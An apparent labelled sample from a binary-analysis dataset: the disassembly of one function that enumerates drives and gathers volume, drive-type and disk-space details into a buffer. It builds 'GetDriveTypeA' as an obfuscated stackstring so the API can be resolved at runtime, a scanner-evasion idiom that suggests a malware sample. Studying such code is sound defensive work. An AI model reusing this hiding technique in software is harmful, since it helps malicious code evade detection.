Function at 0x405b64
Capabilities:
Contain obfuscated stackstrings
Get disk information
Get disk size
Get file system object information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7a4
mov dword [ebp - 0x7a4], ecx
mov dword [ebp - 0x61c], 0
mov byte [ebp - 0x400], 0x67
lea eax, [ebp - 0x500]
push eax
push 0x100
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
lea ecx, [ebp - 0x500]
mov dword [ebp - 0x61c], ecx
mov dword [ebp - 0x614], 0
mov dword [ebp - 0x610], 0
mov dword [ebp - 0x624], 0
mov dword [ebp - 0x620], 0
mov dword [ebp - 0x504], 0
mov dword [ebp - 0x60c], 0
mov dword [ebp - 0x618], 1
mov dword [ebp - 0x618], 1
jmp 0x405c11
mov edx, dword [ebp - 0x61c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0x61c]
lea edx, [ecx + eax + 1]
mov dword [ebp - 0x61c], edx
mov eax, dword [ebp - 0x61c]
movsx ecx, byte [eax]
test ecx, ecx
je 0x405ec0
push 0x104
push 0
lea edx, [ebp - 0x608]
push edx
call fcn.004245f0
add esp, 0xc
push 0x104
lea eax, [ebp - 0x608]
push eax
push 0
push 0
push 0
push 0
push 0
mov ecx, dword [ebp - 0x61c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push 0x410
push 0x160
lea edx, [ebp - 0x784]
push edx
push 0x80
mov eax, dword [ebp - 0x61c]
push eax
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
lea ecx, [ebp - 0x674]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 1
mov dword [ebp - 0x79c], eax
lea edx, [ebp - 0x608]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 1
mov dword [ebp - 0x788], eax
mov eax, dword [ebp - 0x61c]
movsx ecx, byte [eax]
cmp ecx, 0x41
je 0x405d49
mov edx, dword [ebp - 0x61c]
movsx eax, byte [edx]
cmp eax, 0x42
je 0x405d49
push 0
lea ecx, [ebp - 0x614]
push ecx
lea edx, [ebp - 0x624]
push edx
mov eax, dword [ebp - 0x61c]
push eax
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
test eax, eax
je 0x405d49
push 0
push 0x400
mov ecx, dword [ebp - 0x610]
push ecx
mov edx, dword [ebp - 0x614]
push edx
call fcn.00425910
push 0
push 0x400
push edx
push eax
call fcn.00425910
mov dword [ebp - 0x504], eax
push 0
push 0x400
mov eax, dword [ebp - 0x620]
push eax
mov ecx, dword [ebp - 0x624]
push ecx
call fcn.00425910
push 0
push 0x400
push edx
push eax
call fcn.00425910
mov dword [ebp - 0x60c], eax
jmp 0x405d5d
mov dword [ebp - 0x504], 0
mov dword [ebp - 0x60c], 0
mov edx, dword [ebp - 0x618]
mov eax, dword [ebp - 0x61c]
mov cl, byte [eax]
mov byte [ebp + edx - 0x400], cl
mov byte [ebp - 0x798], 0x47
mov byte [ebp - 0x797], 0x65
mov byte [ebp - 0x796], 0x74
mov byte [ebp - 0x795], 0x44
mov byte [ebp - 0x794], 0x72
mov byte [ebp - 0x793], 0x69
mov byte [ebp - 0x792], 0x76
mov byte [ebp - 0x791], 0x65
mov byte [ebp - 0x790], 0x54
mov byte [ebp - 0x78f], 0x79
mov byte [ebp - 0x78e], 0x70
mov byte [ebp - 0x78d], 0x65
mov byte [ebp - 0x78c], 0x41
mov byte [ebp - 0x78b], 0
lea edx, [ebp - 0x798]
push edx
push 0x44c1ec
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x7a0], eax
mov eax, dword [ebp - 0x61c]
push eax
call dword [ebp - 0x7a0]
mov ecx, dword [ebp - 0x618]
mov byte [ebp + ecx - 0x3ff], al
push 4
lea edx, [ebp - 0x504]
push edx
mov eax, dword [ebp - 0x618]
lea ecx, [ebp + eax - 0x3fe]
push ecx
call fcn.00424650
add esp, 0xc
push 4
lea edx, [ebp - 0x60c]
push edx
mov eax, dword [ebp - 0x618]
lea ecx, [ebp + eax - 0x3fa]
push ecx
call fcn.00424650
add esp, 0xc
mov edx, dword [ebp - 0x79c]
push edx
lea eax, [ebp - 0x674]
push eax
mov ecx, dword [ebp - 0x618]
lea edx, [ebp + ecx - 0x3f6]
push edx
call fcn.00424650
add esp, 0xc
mov eax, dword [ebp - 0x788]
push eax
lea ecx, [ebp - 0x608]
push ecx
mov edx, dword [ebp - 0x618]
lea eax, [ebp + edx - 0x400]
mov ecx, dword [ebp - 0x79c]
lea edx, [eax + ecx + 0xa]
push edx
call fcn.00424650
add esp, 0xc
mov eax, dword [ebp - 0x788]
mov ecx, dword [ebp - 0x79c]
lea edx, [ecx + eax + 0xa]
mov eax, dword [ebp - 0x618]
add eax, edx
mov dword [ebp - 0x618], eax
jmp 0x405bf4
mov ecx, dword [ebp - 0x618]
push ecx
lea edx, [ebp - 0x400]
push edx
mov ecx, dword [ebp - 0x7a4]
call fcn.0040e9c0
mov esp, ebp
pop ebp
ret